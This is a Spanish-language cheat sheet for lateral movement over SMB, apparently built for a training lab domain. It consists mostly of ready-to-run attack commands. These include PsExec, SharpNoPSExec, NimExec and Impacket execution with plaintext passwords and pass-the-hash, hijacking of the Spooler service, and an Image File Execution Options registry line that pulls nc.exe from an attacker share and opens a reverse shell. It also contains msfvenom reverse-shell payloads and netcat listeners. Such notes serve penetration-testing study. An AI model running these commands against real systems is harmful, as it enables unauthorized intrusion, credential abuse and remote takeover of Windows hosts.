Lateral Movement — Server Message Block (SMB)
Herramientas
- Impacket — psexec.py, smbexec.py, atexec.py, services.py
- NetExec
- SharpNoPSExec
- NimExec
- PsExec (Sysinternals)
- Sysinternals Suite
- nc.exe
- revshells.com
- CyberChef — NT Hash
- psexec.py
- smbexec.py
- services.py
- atexec.py
- MSRPC docs
Requisitos
Para lateral movement via SMB necesitas una cuenta miembro del grupo Administrators en el host objetivo y los puertos TCP 445 y TCP 139 abiertos. El puerto TCP 135 puede ser necesario para algunas herramientas.
UAC Remote Restrictions
Cuentas locales NO-RID500 → NO pueden usar PsExec en Windows Vista+
Cuentas de dominio con admin local → SÍ pueden usar PsExec
Cuenta local RID-500 (Administrator) → SÍ puede usar PsExecNamed Pipes SMB relevantes
svcctl → crear/iniciar/parar servicios remotamente (psexec.py, smbexec.py)
atsvc → crear tareas programadas remotamente (atexec.py)
winreg → acceso remoto al registro de Windows (reg.exe)Enumeración previa
# Verificar SMB activo
nmap -sV -sC -p 139,445 172.20.0.52 -Pn
proxychains4 -q nmap 172.20.0.52 -sV -sC -p139,445 -Pn
# Verificar acceso con credenciales
netexec smb 172.20.0.0/24 -u helen -p 'RedRiot88' -d inlanefreight.local
# Listar shares
netexec smb 172.20.0.52 -u helen -p 'RedRiot88' --sharesPsExec (Windows)
Sube un ejecutable al share ADMIN$, crea un servicio via SCM, y establece comunicación por named pipe. Genera sesión interactiva (Type 2) por lo que elimina el Double Hop.
# Shell interactiva como helen
.\PsExec.exe \\SRV02 -i -u INLANEFREIGHT\helen -p RedRiot88 cmd
# Shell como SYSTEM
.\PsExec.exe \\SRV02 -i -s -u INLANEFREIGHT\helen -p RedRiot88 cmd
# Ejecutar comando directo sin shell interactiva
.\PsExec.exe \\SRV02 -u INLANEFREIGHT\helen -p RedRiot88 cmd /c whoamiSharpNoPSExec (Windows)
Busca servicios con start_type manual/disabled, estado stopped, y privilegios LocalSystem. Modifica el binary path del servicio seleccionado para ejecutar el payload, espera 5 segundos y restaura la configuración original. No crea servicios nuevos ni escribe al disco.
# Ver ayuda
.\SharpNoPSExec.exe
# Ejecutar payload (necesita listener previo)
.\SharpNoPSExec.exe --target=172.20.0.52 --payload="c:\windows\system32\cmd.exe /c powershell -exec bypass -nop -e <base64>"
# Con credenciales explícitas
.\SharpNoPSExec.exe --target=172.20.0.52 --username=helen --password=RedRiot88 --domain=inlanefreight.local --payload="cmd.exe /c <payload>"
# Especificar servicio concreto (en lugar de random)
.\SharpNoPSExec.exe --target=172.20.0.52 --service=ALG --payload="cmd.exe /c <payload>"Listener antes de ejecutar:
nc -lnvp 8080NimExec (Linux → Windows)
Similar a SharpNoPSExec pero desde Linux. Usa RPC packets personalizados sobre SMB via svcctl. Soporta autenticación con hash NTLM.
Instalación
sudo apt install nim
git clone https://github.com/frkngksl/NimExec
cd NimExec
nimble install ptr_math nimcrypto hostname
# Fix de bug en nimcrypto (cambiar línea 61 en hmac.nim)
# import ./[hash, utils, cpufeatures] → import hash, utils, cpufeatures
# Compilar para Windows desde Linux
nim c -d:release --gc:markAndSweep --cpu:amd64 --os:windows --cc:gcc --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -o:NimExec.exe Main.nimUso
# Con contraseña
.\NimExec.exe -u helen -d inlanefreight.local -p RedRiot88 -t 172.20.0.52 -c "cmd.exe /c powershell -e <base64>"
# Con hash NTLM
.\NimExec.exe -u helen -d inlanefreight.local -h 62EBA30320E250ECA185AA1327E78AEB -t 172.20.0.52 -c "cmd.exe /c <payload>"
# Verbose
.\NimExec.exe -u helen -d inlanefreight.local -p RedRiot88 -t 172.20.0.52 -c "cmd.exe /c <payload>" -v
# Especificar servicio concreto
.\NimExec.exe -u helen -d inlanefreight.local -p RedRiot88 -t 172.20.0.52 -s ALG -c "cmd.exe /c <payload>"Reg.exe — RCE via Registro remoto
Requiere que el servicio Remote Registry esté activo (por defecto solo en server-class OS). Modifica claves del registro del host objetivo via named pipe winreg.
# Agregar Debugger a un proceso (Image File Execution Options)
# Cuando msedge.exe se ejecute, correrá el payload antes
reg.exe add "\\srv02.inlanefreight.local\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msedge.exe" /v Debugger /t reg_sz /d "cmd /c copy \\172.20.0.99\share\nc.exe && nc.exe -e \windows\system32\cmd.exe 172.20.0.99 8080"Setup SMB server para hospedar el payload
# Sin autenticación
sudo python3 smbserver.py share -smb2support /ruta/al/payload
# Habilitar guest auth en SMB2/3 si da error
reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth /d 1 /t REG_DWORD /f
# Verificar si está habilitado
reg.exe query HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuthpsexec.py (Linux)
Sube ejecutable random a ADMIN$, crea servicio, establece named pipe. Equivalente a PsExec.
proxychains4 -q psexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52
# Con hash
proxychains4 -q psexec.py INLANEFREIGHT/helen@172.20.0.52 -hashes :62EBA30320E250ECA185AA1327E78AEBsmbexec.py (Linux)
No sube archivos. Usa solo TCP 445 y el pipe svcctl. Más silencioso que psexec.py.
proxychains4 -q smbexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52
# Con hash
proxychains4 -q smbexec.py INLANEFREIGHT/helen@172.20.0.52 -hashes :62EBA30320E250ECA185AA1327E78AEBservices.py (Linux) — Manipulación de servicios
# Listar servicios
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 list
# Crear servicio nuevo
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 create -name 'MyService' -display 'MyService' -path "\\\\10.10.14.207\\share\\payload.exe"
# Ver config de un servicio
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 config -name 'MyService'
# Iniciar servicio
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 start -name 'MyService'
# Modificar servicio existente (cambiar binary path + auto start)
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 change -name Spooler -path "\\\\10.10.14.207\\share\\payload.exe" -start_type 2
# Iniciar el servicio modificado
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 start -name Spooler
# Eliminar servicio
proxychains4 -q services.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 delete -name 'MyService'Generar payload de tipo service binary
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.207 LPORT=9001 -f exe-service -o payload.exeatexec.py (Linux) — Scheduled Tasks
Crea una tarea programada via atsvc, la ejecuta, y borra la tarea. El output se guarda en un archivo temporal en ADMIN$\Temp. Requiere que los relojes del atacante y el objetivo estén sincronizados al minuto.
# Listener
nc -lnvp 8080
# Ejecutar comando via tarea programada
proxychains4 -q atexec.py INLANEFREIGHT/helen:'RedRiot88'@172.20.0.52 "powershell -e <base64_payload>"
# Con hash
proxychains4 -q atexec.py INLANEFREIGHT/helen@172.20.0.52 -hashes :62EBA30320E250ECA185AA1327E78AEB "whoami"Comparativa de herramientas SMB
PsExec / psexec.py → sube exe a ADMIN$, crea servicio, muy detectable
smbexec.py → no sube archivos, solo TCP 445, más silencioso
SharpNoPSExec → modifica servicio existente, no crea nada nuevo
NimExec → igual que SharpNoPSExec pero soporta hash NTLM
atexec.py → scheduled task, no interactivo, sincronización de hora necesaria
services.py → control total de servicios, crear/modificar/eliminar
reg.exe → RCE via registro, depende de que Remote Registry esté activo